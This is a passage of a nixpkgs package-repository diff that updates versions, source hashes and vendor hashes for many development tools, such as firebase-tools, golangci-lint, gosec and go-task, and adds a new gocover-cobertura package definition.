- hash = "sha256-CJUBjDQAXSUFe37zYGbX6geeEk9goZ/aOalWDHPIZis="; + hash = "sha256-p8ScB1mFwcc+gqmVFV/17yExP6DYZxMbHDHEiWM7/Xs="; }; vendorHash = "sha256-+BfxCyg0KkDQpHt/wycy/8CTG6YBA/VJvJFhhzUnSiQ="; diff --git a/pkgs/development/tools/extism-cli/default.nix b/pkgs/development/tools/extism-cli/default.nix index 67046d96e9443..8787a2674447e 100644 --- a/pkgs/development/tools/extism-cli/default.nix +++ b/pkgs/development/tools/extism-cli/default.nix @@ -7,18 +7,18 @@ buildGoModule rec { pname = "extism-cli"; - version = "1.0.3"; + version = "1.1.0"; src = fetchFromGitHub { owner = "extism"; repo = "cli"; rev = "refs/tags/v${version}"; - hash = "sha256-szs5tLjGCavHerQQi0Abla0kaHYQ/xN0O36Wrc1MG4Y="; + hash = "sha256-QC21BrT7uAbKPyLGjx0lBnQHN1nHek+BdCJ7EpJGV6s="; }; modRoot = "./extism"; - vendorHash = "sha256-IRqn4XmFA6vyjtgTaxYh7ndHkQYuKC1eHKNoGC7Hh+U="; + vendorHash = "sha256-UaMPtWmBKCcBR2KiubhW6F7knP6dM8sXQzUEaT59cRQ="; nativeBuildInputs = [ installShellFiles ]; diff --git a/pkgs/development/tools/f2c/default.nix b/pkgs/development/tools/f2c/default.nix index 63b3c5ae32eb8..da68b27ddeb9f 100644 --- a/pkgs/development/tools/f2c/default.nix +++ b/pkgs/development/tools/f2c/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation { pname = "f2c"; - version = "20230428"; + version = "20240130"; src = fetchurl { url = "https://www.netlib.org/f2c/src.tgz"; - sha256 = "sha256-dLpnwyGjtikhbH7VpIoGHD5cNyKshc6wHczmkTdRcFo="; + sha256 = "sha256-YciR1CbtsFvGR9b3/DRcLn9NzlXQksVKj8Xhr0g6MjU="; }; makeFlags = [ "-f" "makefile.u" ]; diff --git a/pkgs/development/tools/fable/default.nix b/pkgs/development/tools/fable/default.nix index 10447afe20f39..28eda474ce322 100644 --- a/pkgs/development/tools/fable/default.nix +++ b/pkgs/development/tools/fable/default.nix @@ -2,9 +2,9 @@ buildDotnetGlobalTool { pname = "fable"; - version = "4.11.0"; + version = "4.13.0"; - nugetSha256 = "sha256-AOsCthGk4YiTcKjIdCE1nnADWLqfd80vPFMmo9YLGUA="; + nugetSha256 = "sha256-jjvAAhnCkCBLG2sq3ehCTdg/thaVW7A7nXyVCSAGm3k="; passthru.updateScript = ./update.sh; meta = with lib; { diff --git a/pkgs/development/tools/fastddsgen/default.nix b/pkgs/development/tools/fastddsgen/default.nix index 01d42f73b919d..b5a436d3be9fe 100644 --- a/pkgs/development/tools/fastddsgen/default.nix +++ b/pkgs/development/tools/fastddsgen/default.nix @@ -1,14 +1,14 @@ { lib, stdenv, runtimeShell, writeText, fetchFromGitHub, gradle_7, openjdk17, git, perl, cmake }: let pname = "fastddsgen"; - version = "3.2.1"; + version = "3.3.0"; src = fetchFromGitHub { owner = "eProsima"; repo = "Fast-DDS-Gen"; rev = "v${version}"; fetchSubmodules = true; - hash = "sha256-3REInKZ787RSXED8iAMlt2mJodJTp5+/ldQsbUGpn0g="; + hash = "sha256-oqbSIzsYUwD8bTqGKZ9he9d18EDq9mHZFoNUp0RK0qU="; }; gradle = gradle_7; diff --git a/pkgs/development/tools/firebase-tools/default.nix b/pkgs/development/tools/firebase-tools/default.nix index 895b018f50f76..fd455607e098e 100644 --- a/pkgs/development/tools/firebase-tools/default.nix +++ b/pkgs/development/tools/firebase-tools/default.nix @@ -8,16 +8,16 @@ buildNpmPackage rec { pname = "firebase-tools"; - version = "13.1.0"; + version = "13.4.0"; src = fetchFromGitHub { owner = "firebase"; repo = "firebase-tools"; rev = "v${version}"; - hash = "sha256-S8biY6aOCvz//SLdqFkPLCfQn9CtrVxKgp9A/Z2vRHo="; + hash = "sha256-15u6upX9xPSlXhRrCxqmAuzjkfnpkXk8vwt1pI7c7Tk="; }; - npmDepsHash = "sha256-SoRtQyGhKgaS1TK7ZmuIbNESQByQVJZkBUbvITiLF5w="; + npmDepsHash = "sha256-on4NKTGpdEb9l0JoybbssUN6z63Yg5AT8sHeGRGUEDA="; postPatch = '' ln -s npm-shrinkwrap.json package-lock.json diff --git a/pkgs/development/tools/flip-link/default.nix b/pkgs/development/tools/flip-link/default.nix index b4c21da38585d..794d87a482d37 100644 --- a/pkgs/development/tools/flip-link/default.nix +++ b/pkgs/development/tools/flip-link/default.nix @@ -2,16 +2,16 @@ rustPlatform.buildRustPackage rec { pname = "flip-link"; - version = "0.1.7"; + version = "0.1.8"; src = fetchFromGitHub { owner = "knurling-rs"; repo = pname; rev = "v${version}"; - hash = "sha256-bwNtIuAALSOSUkbx2UbOEzHv064BVAHTBdJGPZVyEis="; + hash = "sha256-12eVZqW4+ZCDS0oszJI5rTREJY77km/y57LNDFJAwkk="; }; - cargoHash = "sha256-pY1/p3TMt/DCTadU0Ki0yMgmS7RwO9siZLvNNXSLrfg="; + cargoHash = "sha256-75D38+QjEzj7J4CC30iMeuDXwcW4QT9YWgYyCILSv+g="; buildInputs = lib.optional stdenv.isDarwin libiconv; diff --git a/pkgs/development/tools/frugal/default.nix b/pkgs/development/tools/frugal/default.nix index 21db72be81c33..27ea8143e7d0c 100644 --- a/pkgs/development/tools/frugal/default.nix +++ b/pkgs/development/tools/frugal/default.nix @@ -2,18 +2,18 @@ buildGoModule rec { pname = "frugal"; - version = "3.17.6"; + version = "3.17.8"; src = fetchFromGitHub { owner = "Workiva"; repo = pname; rev = "v${version}"; - sha256 = "sha256-N4XcU2D3HE/bQWA70T2XYR5QBsknEr1bgRnfTKgzMiY="; + sha256 = "sha256-R9v/qWR+XuirMT2wM6UR2LrSpehkEtoRG73bBlni03k="; }; subPackages = [ "." ]; - vendorHash = "sha256-KxDtSrtDloUozUKE7pPR5TZsal9TSyA7Ohoe7HC0/VU="; + vendorHash = "sha256-BC8G41SWWecNiqj/8iez3debvpU9+PWHUya8V77zKj8="; meta = with lib; { description = "Thrift improved"; diff --git a/pkgs/development/tools/fsautocomplete/default.nix b/pkgs/development/tools/fsautocomplete/default.nix index 7394cd3746b7d..a1e846f482f89 100644 --- a/pkgs/development/tools/fsautocomplete/default.nix +++ b/pkgs/development/tools/fsautocomplete/default.nix @@ -1,8 +1,5 @@ { lib, buildDotnetModule, fetchFromGitHub, dotnetCorePackages }: -let - inherit (dotnetCorePackages) sdk_7_0; -in buildDotnetModule rec { pname = "fsautocomplete"; version = "0.69.0"; @@ -23,8 +20,8 @@ buildDotnetModule rec { --replace TargetFrameworks TargetFramework \ ''; - dotnet-sdk = sdk_7_0; - dotnet-runtime = sdk_7_0; + dotnet-sdk = with dotnetCorePackages; combinePackages [ sdk_6_0 sdk_7_0 ]; + dotnet-runtime = dotnetCorePackages.sdk_7_0; projectFile = "src/FsAutoComplete/FsAutoComplete.fsproj"; executables = [ "fsautocomplete" ]; diff --git a/pkgs/development/tools/fsautocomplete/deps.nix b/pkgs/development/tools/fsautocomplete/deps.nix index 76e84656687ca..26fdb7977bdb5 100644 --- a/pkgs/development/tools/fsautocomplete/deps.nix +++ b/pkgs/development/tools/fsautocomplete/deps.nix @@ -81,11 +81,6 @@ (fetchNuGet { pname = "McMaster.NETCore.Plugins"; version = "1.4.0"; sha256 = "1k2qz0qnf2b1kfwbzcynivy93jm7dcwl866d0fl7qlgq5vql7niy"; }) (fetchNuGet { pname = "MessagePack"; version = "2.5.108"; sha256 = "0cnaz28lhrdmavnxjkakl9q8p2yv8mricvp1b0wxdfnz8v41gwzs"; }) (fetchNuGet { pname = "MessagePack.Annotations"; version = "2.5.108"; sha256 = "0nb1fx8dwl7304kw0bc375bvlhb7pg351l4cl3vqqd7d8zqjwx5v"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Ref"; version = "6.0.26"; sha256 = "1d8nkz24vsm0iy2xm8y5ak2q1w1p99dxyz0y26acs6sfk2na0vm6"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64"; version = "6.0.26"; sha256 = "1za8lc52m4z54d68wd64c2nhzy05g3gx171k5cdlx73fbymiys9z"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-x64"; version = "6.0.26"; sha256 = "1zpbmz6z8758gwywzg0bac8kx9x39sxxc9j4a4r2jl74l9ssw4vm"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64"; version = "6.0.26"; sha256 = "1i8ydlwjzk7j0mzvn0rpljxfp1h50zwaqalnyvfxai1fwgigzgw5"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.osx-x64"; version = "6.0.26"; sha256 = "02src68hd3213sd1a2ms1my7i92knfmdxclvv90il9cky2zsq8kw"; }) (fetchNuGet { pname = "Microsoft.Bcl.AsyncInterfaces"; version = "7.0.0"; sha256 = "1waiggh3g1cclc81gmjrqbh128kwfjky3z79ma4bd2ms9pa3gvfm"; }) (fetchNuGet { pname = "Microsoft.Bcl.HashCode"; version = "1.1.0"; sha256 = "1ggsadahlp76zcn1plapszd5v5ja8rh479fwrahqd3knql4dfnr0"; }) (fetchNuGet { pname = "Microsoft.Build"; version = "17.2.0"; sha256 = "09hs74nr0kv83wc1way9x7vq3nmxbr2s4vdy99hx78kj25pylcr7"; }) @@ -126,15 +121,6 @@ (fetchNuGet { pname = "Microsoft.NET.StringTools"; version = "17.4.0"; sha256 = "1smx30nq22plrn2mw4wb5vfgxk6hyx12b60c4wabmpnr81lq3nzv"; }) (fetchNuGet { pname = "Microsoft.NET.StringTools"; version = "17.6.3"; sha256 = "0g5jdg0jp844a2ygwlm04igsxkrihqcq2rpmfx722nrv3vrk0r0z"; }) (fetchNuGet { pname = "Microsoft.NET.Test.Sdk"; version = "17.4.1"; sha256 = "02p1j9fncd4fb2hyp51kw49d0dz30vvazhzk24c9f5ccc00ijpra"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-arm64"; version = "6.0.26"; sha256 = "19y6c6v20bgf7x7rrh4rx9y7s5fy8vp5m4j9b6gi1wp4rpb5mza4"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-x64"; version = "6.0.26"; sha256 = "0p7hhidaa3mnyiwnsijwy8578v843x8hh99255s69qwwyld6falv"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.osx-arm64"; version = "6.0.26"; sha256 = "1mq11xsv9g1vsasp6k80y7xlvwi9hrpk5dgm773fvy8538s01gfv"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.osx-x64"; version = "6.0.26"; sha256 = "1chac9b4424ihrrnlzvc7qz6j4ymfjyv4kzyazzzw19yhymdkh2s"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Ref"; version = "6.0.26"; sha256 = "12gb52dhg5h9hgnyqh1zgj2w46paxv2pfh33pphl9ajhrdr7hlsb"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-arm64"; version = "6.0.26"; sha256 = "164hfrwqz5dxcbb441lridk4mzcqmarb0b7ckgvqhsvpawyjw88v"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-x64"; version = "6.0.26"; sha256 = "0islayddpnflviqpbq4djc4f3v9nhsa2y76k5x6il3csq5vdw2hq"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.osx-arm64"; version = "6.0.26"; sha256 = "1acn5zw1pxzmcg3c0pbf9hal36fbdh9mvbsiwra7simrk7hzqpdc"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.osx-x64"; version = "6.0.26"; sha256 = "00f9l9dkdz0zv5csaw8fkm6s8ckrj5n9k3ygz12daa22l3bcn6ii"; }) (fetchNuGet { pname = "Microsoft.NETCore.Platforms"; version = "1.1.1"; sha256 = "164wycgng4mi9zqi2pnsf1pq6gccbqvw6ib916mqizgjmd8f44pj"; }) (fetchNuGet { pname = "Microsoft.NETCore.Platforms"; version = "7.0.4"; sha256 = "0afmivk3m0hmwsiqnl87frzi7g57aiv5fwnjds0icl66djpb6zsm"; }) (fetchNuGet { pname = "Microsoft.NETCore.Targets"; version = "1.1.3"; sha256 = "05smkcyxir59rgrmp7d6327vvrlacdgldfxhmyr1azclvga1zfsq"; }) diff --git a/pkgs/development/tools/gauge/default.nix b/pkgs/development/tools/gauge/default.nix index ae575baf19b05..2a2b17e73ed6c 100644 --- a/pkgs/development/tools/gauge/default.nix +++ b/pkgs/development/tools/gauge/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "gauge"; - version = "1.6.1"; + version = "1.6.3"; src = fetchFromGitHub { owner = "getgauge"; repo = "gauge"; rev = "v${version}"; - hash = "sha256-dgSrjSAO0MwVML07gIqI9hIgRu+Pgv2jZOItSFd0DVU="; + hash = "sha256-ymnyoQRMr3s74PnDSmXCoWGSMBhxy/CRDpRvEZHOrFU="; }; - vendorHash = "sha256-IGxETjZ2RCvhcA7XUQYbr2jf+9P/WReuAOLIpE3kyes="; + vendorHash = "sha256-5kBjxhmBrC5ZzD7CSzRvIzQrJYRRU/X+n9L9JPvyJkY="; excludedPackages = [ "build" "man" ]; diff --git a/pkgs/development/tools/gci/default.nix b/pkgs/development/tools/gci/default.nix index c1a96e1e93817..105d55ecaa9c1 100644 --- a/pkgs/development/tools/gci/default.nix +++ b/pkgs/development/tools/gci/default.nix @@ -5,16 +5,16 @@ }: buildGoModule rec { pname = "gci"; - version = "0.12.1"; + version = "0.13.0"; src = fetchFromGitHub { owner = "daixiang0"; repo = pname; rev = "v${version}"; - sha256 = "sha256-h8vqpqohKQzd2IltHroo/AKnhufJsCC6qpSo8NYyhPI="; + sha256 = "sha256-k+Keyuz/P3WmLg6jcGC/1gv8WWqMbDQdsFjbiG/hpT4="; }; - vendorHash = "sha256-bPRcOvwbWEpcJUlIqQNeoYME4ky0YE5LlyWhSTWCIHQ="; + vendorHash = "sha256-g7htGfU6C2rzfu8hAn6SGr0ZRwB8ZzSf9CgHYmdupE8="; meta = with lib; { description = "Controls golang package import order and makes it always deterministic"; diff --git a/pkgs/development/tools/ginkgo/default.nix b/pkgs/development/tools/ginkgo/default.nix index a894a65271a34..4805760ec3e3a 100644 --- a/pkgs/development/tools/ginkgo/default.nix +++ b/pkgs/development/tools/ginkgo/default.nix @@ -2,15 +2,15 @@ buildGoModule rec { pname = "ginkgo"; - version = "2.15.0"; + version = "2.16.0"; src = fetchFromGitHub { owner = "onsi"; repo = "ginkgo"; rev = "v${version}"; - sha256 = "sha256-0Fwn62VORPmaufd7RqTkXjlXygXPVVixf8WwHgE57Lg="; + sha256 = "sha256-7pxGDWNVTB7N91yYnGvxo7h2xvYWeBdbceU2F/opRTs="; }; - vendorHash = "sha256-F3z6gowVkei782qaSIOh7Ymeq1SFGxBaHM9fTSPG6qI="; + vendorHash = "sha256-XtO7HiaE/xCT3tjVZzzMcO9y8Yk8Wyy1S3S1qioMaQU="; # integration tests expect more file changes # types tests are missing CodeLocation diff --git a/pkgs/development/tools/github-commenter/default.nix b/pkgs/development/tools/github-commenter/default.nix index 28986288f6c3c..e40a3117e91bd 100644 --- a/pkgs/development/tools/github-commenter/default.nix +++ b/pkgs/development/tools/github-commenter/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "github-commenter"; - version = "0.19.0"; + version = "0.27.0"; src = fetchFromGitHub { owner = "cloudposse"; repo = pname; rev = version; - hash = "sha256-pCcTdj2ZgGIpa6784xkBX29LVu1o5ORqqk9j9wR/V8k="; + hash = "sha256-LF8ydXe+wAES0l5Lip6+30PXThGpciQgsclTE0YGxqg="; }; - vendorHash = "sha256-etR//FfHRzCL6WEZSqeaKYu3eLjxA0x5mZJRe1yvycQ="; + vendorHash = "sha256-SzXouH7xVZ/J8sReT1m9UBAA567crgxoUiYqJIEFBlw="; meta = with lib; { description = "Command line utility for creating GitHub comments on Commits, Pull Request Reviews or Issues"; diff --git a/pkgs/development/tools/github/github-release/default.nix b/pkgs/development/tools/github/github-release/default.nix index 4326d4bf71ca1..40fe1575d0450 100644 --- a/pkgs/development/tools/github/github-release/default.nix +++ b/pkgs/development/tools/github/github-release/default.nix @@ -1,6 +1,6 @@ -{ buildGoPackage, fetchFromGitHub, lib }: +{ buildGoModule, fetchFromGitHub, fetchpatch, lib, testers, github-release }: -buildGoPackage rec { +buildGoModule rec { pname = "github-release"; version = "0.10.0"; @@ -8,10 +8,32 @@ buildGoPackage rec { owner = "github-release"; repo = "github-release"; rev = "v${version}"; - sha256 = "sha256-J5Y0Kvon7DstTueCsoYvw6x4cOH/C1IaVArE0bXtZts="; + hash = "sha256-J5Y0Kvon7DstTueCsoYvw6x4cOH/C1IaVArE0bXtZts="; }; - goPackagePath = "github.com/github-release/github-release"; + vendorHash = null; + + patches = [ + # Update version info + (fetchpatch { + url = "https://github.com/github-release/github-release/commit/ee13bb17b74135bfe646d9be1807a6bc577ba7c6.patch"; + hash = "sha256-9ZcHwai0HOgapDcpvn3xssrVP9cuNAz9rTgrR4Jfdfg="; + }) + + # Add Go Modules support. + # See https://github.com/Homebrew/homebrew-core/pull/162414. + (fetchpatch { + url = "https://github.com/github-release/github-release/pull/129/commits/074f4e8e1688642f50a7a3cc92b5777c7b484139.patch"; + hash = "sha256-OBFbOvNhqcNiuSCP0AfClntj7y5habn+r2eBkmClsgI="; + }) + ]; + + ldflags = [ "-s" "-w" ]; + + passthru.tests.version = testers.testVersion { + package = github-release; + version = "v${version}"; + }; meta = with lib; { description = "Commandline app to create and edit releases on Github (and upload artifacts)"; diff --git a/pkgs/development/tools/go-jet/default.nix b/pkgs/development/tools/go-jet/default.nix index aea629bebefe2..0f8fa8337b9e6 100644 --- a/pkgs/development/tools/go-jet/default.nix +++ b/pkgs/development/tools/go-jet/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "go-jet"; - version = "2.10.1"; + version = "2.11.0"; src = fetchFromGitHub { owner = pname; repo = "jet"; rev = "v${version}"; - sha256 = "sha256-G/yKS4YFKOVkuoqT/Qh12ul43dKo4W23EIyCgmeaUoo="; + sha256 = "sha256-xtWDfBryNQp3MSp5EjsbyIdEx4+KoqBe3Q6MukuYVRE="; }; - vendorHash = "sha256-AwrtLTzKqKjFf5fV3JWYWyaqzHJjMNrYuSXhHXyV5HE="; + vendorHash = "sha256-z0NMG+fvbGe3KGxO9+3NLoptZ4wfWi0ls7SK+9miCWg="; subPackages = [ "cmd/jet" ]; diff --git a/pkgs/development/tools/go-protobuf/default.nix b/pkgs/development/tools/go-protobuf/default.nix index 0f2e302aad051..aa8c8df12e869 100644 --- a/pkgs/development/tools/go-protobuf/default.nix +++ b/pkgs/development/tools/go-protobuf/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "go-protobuf"; - version = "1.5.3"; + version = "1.5.4"; src = fetchFromGitHub { owner = "golang"; repo = "protobuf"; rev = "v${version}"; - sha256 = "sha256-cRB4oicBfYvhqtzafWWmf82AuvSnB0NhHwpp0pjgwQ0="; + sha256 = "sha256-AfyZ6xlqmrsVqtoKV1XMEo/Vba9Kpu1EgwfF6pPSZ64="; }; - vendorHash = "sha256-CcJjFMslSUiZMM0LLMM3BR53YMxyWk8m7hxjMI9tduE="; + vendorHash = "sha256-jGAWUgW0DA7EwmlzVxnBmtbf2dp+P4Qwcb8mTAEhUi4="; meta = with lib; { homepage = "https://github.com/golang/protobuf"; diff --git a/pkgs/development/tools/go-task/default.nix b/pkgs/development/tools/go-task/default.nix index 3c5e13473fc6f..8b3e3eb7c3501 100644 --- a/pkgs/development/tools/go-task/default.nix +++ b/pkgs/development/tools/go-task/default.nix @@ -8,16 +8,16 @@ buildGoModule rec { pname = "go-task"; - version = "3.34.1"; + version = "3.35.0"; src = fetchFromGitHub { owner = pname; repo = "task"; rev = "refs/tags/v${version}"; - hash = "sha256-ngDAItX7aTWDpf2lOiJYUC7QXXzrexPV3nvZ/esLb7g="; + hash = "sha256-jjhWo/rQeGcZvvpYisCujFuExJrFiJqIiDytRo8lH1k="; }; - vendorHash = "sha256-Czf7Bkld1NWJzU34NfDFL/Us9awnhlv8V9S4XxeoGxY="; + vendorHash = "sha256-HhnherRx5YQn4ArcavVZutze9usYP+PRI07lEXyw8a0="; doCheck = false; diff --git a/pkgs/development/tools/go-tools/default.nix b/pkgs/development/tools/go-tools/default.nix index 9db6b7116f672..06a62650b9191 100644 --- a/pkgs/development/tools/go-tools/default.nix +++ b/pkgs/development/tools/go-tools/default.nix @@ -5,13 +5,13 @@ buildGoModule rec { pname = "go-tools"; - version = "2023.1.6"; + version = "2023.1.7"; src = fetchFromGitHub { owner = "dominikh"; repo = "go-tools"; rev = version; - sha256 = "sha256-Ecp3A3Go7mp8/ghMjTGqCNlRkCeEAb3fzRuwahWcM2I="; + sha256 = "sha256-oR3fsvZmeddN75WsxOMcYe/RAIjYz+ba03ADJfDUqNg="; }; vendorHash = "sha256-dUO2Iw+RYk8s+3IV2/TSKjaX61YkD/AROq3177r+wKE="; diff --git a/pkgs/development/tools/goa/default.nix b/pkgs/development/tools/goa/default.nix index 19ac74f7f427c..4928bf501ab84 100644 --- a/pkgs/development/tools/goa/default.nix +++ b/pkgs/development/tools/goa/default.nix @@ -5,15 +5,15 @@ buildGoModule rec { pname = "goa"; - version = "3.14.6"; + version = "3.15.0"; src = fetchFromGitHub { owner = "goadesign"; repo = "goa"; rev = "v${version}"; - hash = "sha256-u26k4jKT68AMb9pQf/5FCuX+yGpcuGJ6uOIqXfWbg2o="; + hash = "sha256-F5ynJn3uuKSNZYZy+S6OV0AGv9HMpp4oo7lacQ+q3bw="; }; - vendorHash = "sha256-PcPYsTjWt4N27ahHCdx+ZylujmuX/hopN9o7vKUAA5w="; + vendorHash = "sha256-SvNuSSLL/zj7rg+k0wNiJazQgZBWrUrpGgumbADkHQY="; subPackages = [ "cmd/goa" ]; diff --git a/pkgs/development/tools/goconvey/default.nix b/pkgs/development/tools/goconvey/default.nix index 82bd7354ef454..c7477d48e55a9 100644 --- a/pkgs/development/tools/goconvey/default.nix +++ b/pkgs/development/tools/goconvey/default.nix @@ -2,7 +2,7 @@ buildGoModule rec { pname = "goconvey"; - version = "1.8.0"; + version = "1.8.1"; excludedPackages = "web/server/watch/integration_testing"; @@ -10,10 +10,10 @@ buildGoModule rec { owner = "smartystreets"; repo = "goconvey"; rev = "v${version}"; - sha256 = "sha256-JgforTGu5aiQHltZrAfy16Bsu4UJ2pj6cCiof6sxz7s="; + hash = "sha256-6SrlPsOqRxNNwEYx2t1v+rEHnQ58GvJtjo87SZo/Omk="; }; - vendorHash = "sha256-CCtWsljI14VOGjPid6ouzvieDbylh9ljoUcAoR9r4b4="; + vendorHash = "sha256-020bxa0LErrvRKe3HirCWZDaBQFfKsWgl4mxfLtl1lg="; ldflags = [ "-s" "-w" ]; diff --git a/pkgs/development/tools/gocover-cobertura/default.nix b/pkgs/development/tools/gocover-cobertura/default.nix new file mode 100644 index 0000000000000..78f69d3b260d1 --- /dev/null +++ b/pkgs/development/tools/gocover-cobertura/default.nix @@ -0,0 +1,27 @@ +{ lib +, buildGoModule +, fetchFromGitHub +}: + +buildGoModule rec { + pname = "gocover-cobertura"; + version = "1.2.0"; + + src = fetchFromGitHub { + owner = "boumenot"; + repo = pname; + rev = "v${version}"; + sha256 = "sha256-nbwqfObU1tod5gWa9UbhmS6CpLLilvFyvNJ6XjeR8Qc="; + }; + + vendorHash = null; + + ldflags = [ "-s" "-w" ]; + + meta = with lib; { + homepage = "https://github.com/boumenot/gocover-cobertura"; + description = "This is a simple helper tool for generating XML output in Cobertura format for CIs like Jenkins and others from go tool cover output."; + license = licenses.mit; + maintainers = with maintainers; [ hmajid2301 ]; + }; +} diff --git a/pkgs/development/tools/golangci-lint/default.nix b/pkgs/development/tools/golangci-lint/default.nix index 123d12306f8f8..395303c57861f 100644 --- a/pkgs/development/tools/golangci-lint/default.nix +++ b/pkgs/development/tools/golangci-lint/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "golangci-lint"; - version = "1.56.1"; + version = "1.56.2"; src = fetchFromGitHub { owner = "golangci"; repo = "golangci-lint"; rev = "v${version}"; - hash = "sha256-6mwdDi9ltEKpDNa+GPEHiJdQO8csUg6MnuyiKQ02B80="; + hash = "sha256-P1bgyYJCzHWWcmAHmBAyghFzKCwiQW3KNkbk5gogpn8="; }; - vendorHash = "sha256-Y+y3X0pGFYeAMpvRWFgzcWRpHQL+X9J3/ehiO2N2P2o="; + vendorHash = "sha256-9M9BPLEtNlhmZbS/Kn9yh2att2oIgF+smP7y1XCvrjI="; subPackages = [ "cmd/golangci-lint" ]; diff --git a/pkgs/development/tools/gomplate/default.nix b/pkgs/development/tools/gomplate/default.nix index 28f9d8341fb4f..d9268a40386bf 100644 --- a/pkgs/development/tools/gomplate/default.nix +++ b/pkgs/development/tools/gomplate/default.nix @@ -1,16 +1,9 @@ -# Gomplate 3.x does not build with go > 1.20. -# Version 4 of gomplate (yet unreleased) should not have this issue. -# -# see https://github.com/hairyhenderson/gomplate/issues/1872 - { lib -#, buildGoModule -, buildGo120Module +, buildGoModule , fetchFromGitHub }: -# buildGoModule rec { -buildGo120Module rec { +buildGoModule rec { pname = "gomplate"; version = "3.11.7"; diff --git a/pkgs/development/tools/google-java-format/default.nix b/pkgs/development/tools/google-java-format/default.nix index bf499e891dd67..28f7f9adc126b 100644 --- a/pkgs/development/tools/google-java-format/default.nix +++ b/pkgs/development/tools/google-java-format/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "google-java-format"; - version = "1.19.2"; + version = "1.21.0"; src = fetchurl { url = "https://github.com/google/google-java-format/releases/download/v${version}/google-java-format-${version}-all-deps.jar"; - sha256 = "sha256-2Ji19wxVr9z3wEMeSX1opIRyw4Ty0E/m8JeN/+Ysvio="; + sha256 = "sha256-Hmn4tjw5pRJKjvt7rSE+uawDlEM565WAriELDGBWXZs="; }; dontUnpack = true; diff --git a/pkgs/development/tools/gosec/default.nix b/pkgs/development/tools/gosec/default.nix index 34a4c4da26fd7..a59a331d23603 100644 --- a/pkgs/development/tools/gosec/default.nix +++ b/pkgs/development/tools/gosec/default.nix @@ -5,16 +5,16 @@ buildGoModule rec { pname = "gosec"; - version = "2.18.2"; + version = "2.19.0"; src = fetchFromGitHub { owner = "securego"; repo = pname; rev = "v${version}"; - hash = "sha256-y0ha9Za0QoZEsZG/eO9/LZ146q1Rg6wCGghe2roymHM="; + hash = "sha256-Yb0NEvGx0Ds3t2VjhSWw4oILmN1kR9Dlqe45/VRbu0A="; }; - vendorHash = "sha256-cfAS1Z/ym4y2qcm8TPXqX4LZgaLsTjkwO9GOYLNjPN0="; + vendorHash = "sha256-yphsGkubJyXDrlCAKh9tdKI5cDldNXvJ22fs3rY5I4Y="; subPackages = [ "cmd/gosec" diff --git a/pkgs/development/tools/gotools/default.nix b/pkgs/development/tools/gotools/default.nix index bbd77aedef7f7..0a31db2779b29 100644 --- a/pkgs/development/tools/gotools/default.nix +++ b/pkgs/development/tools/gotools/default.nix @@ -2,14 +2,14 @@ buildGoModule rec { pname = "gotools"; - version = "0.16.1"; + version = "0.18.0"; # using GitHub instead of https://go.googlesource.com/tools because Gitiles UI is to basic to browse src = fetchFromGitHub { owner = "golang"; repo = "tools"; rev = "v${version}"; - hash = "sha256-qFDi+d+2OuI+mMBceZiN+kJ0gPcfgXXRDrDDwqKeDOM="; + hash = "sha256-sOT98DdLYtPXovpcX020BbLSH99ByJSaVQeM10IcKG4="; }; postPatch = '' @@ -20,7 +20,7 @@ buildGoModule rec { rm -r cmd/getgo ''; - vendorHash = "sha256-oOBdh4mK3x9HbxD00EDKLjFgd/4NQRlQXrnCigGOwLg="; + vendorHash = "sha256-gGAEl3yabXy1qbuBJyrpD+TRrKr56cZEOiSaBoBsYc8="; doCheck = false; diff --git a/pkgs/development/tools/gqlgenc/default.nix b/pkgs/development/tools/gqlgenc/default.nix index b421bb6e35af6..252713e6848ec 100644 --- a/pkgs/development/tools/gqlgenc/default.nix +++ b/pkgs/development/tools/gqlgenc/default.nix @@ -2,18 +2,18 @@ buildGoModule rec { pname = "gqlgenc"; - version = "0.19.0"; + version = "0.19.3"; src = fetchFromGitHub { owner = "yamashou"; repo = "gqlgenc"; rev = "v${version}"; - sha256 = "sha256-V2YKRRJP1KQDo0oIoKU3g/3H1Xeo2oLg3arCDU6NMto="; + sha256 = "sha256-deaJFw1w5TiJIdbTlgEBhpAyDbkjUzqT3vVl+xDUXm4="; }; excludedPackages = [ "example" ]; - vendorHash = "sha256-lJ3oYDW7BJnguIJ/TzZSUgSuoDIKmb6hdXOKENtmk6M="; + vendorHash = "sha256-lQ2KQF+55qvscnYfm1jLK/4DdwFBaRZmv9oa/BUSoXI="; meta = with lib; { description = "Go tool for building GraphQL client with gqlgen"; diff --git a/pkgs/development/tools/hclfmt/default.nix b/pkgs/development/tools/hclfmt/default.nix index 03e934175c0f7..76b3ecd5b52b9 100644 --- a/pkgs/development/tools/hclfmt/default.nix +++ b/pkgs/development/tools/hclfmt/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "hclfmt"; - version = "2.19.1"; + version = "2.20.0"; src = fetchFromGitHub { owner = "hashicorp"; repo = "hcl"; rev = "v${version}"; - hash = "sha256-A7YfjXdblFGBABD/PeJMzh9WdPeIUWOWAr/UlD3ki28="; + hash = "sha256-gXipXBi/IFB4F+vr1BBp91kcIRpWvxkSttb62Cl3h0g="; }; - vendorHash = "sha256-DA1IKaC+YSBzCfEMqHsHfwu1o5qvYFaFgDoGG0RZnoo="; + vendorHash = "sha256-MXiLfCbXXw2PMlj/3eAvbReH11IzS/G/4ajV37B5lOs="; # 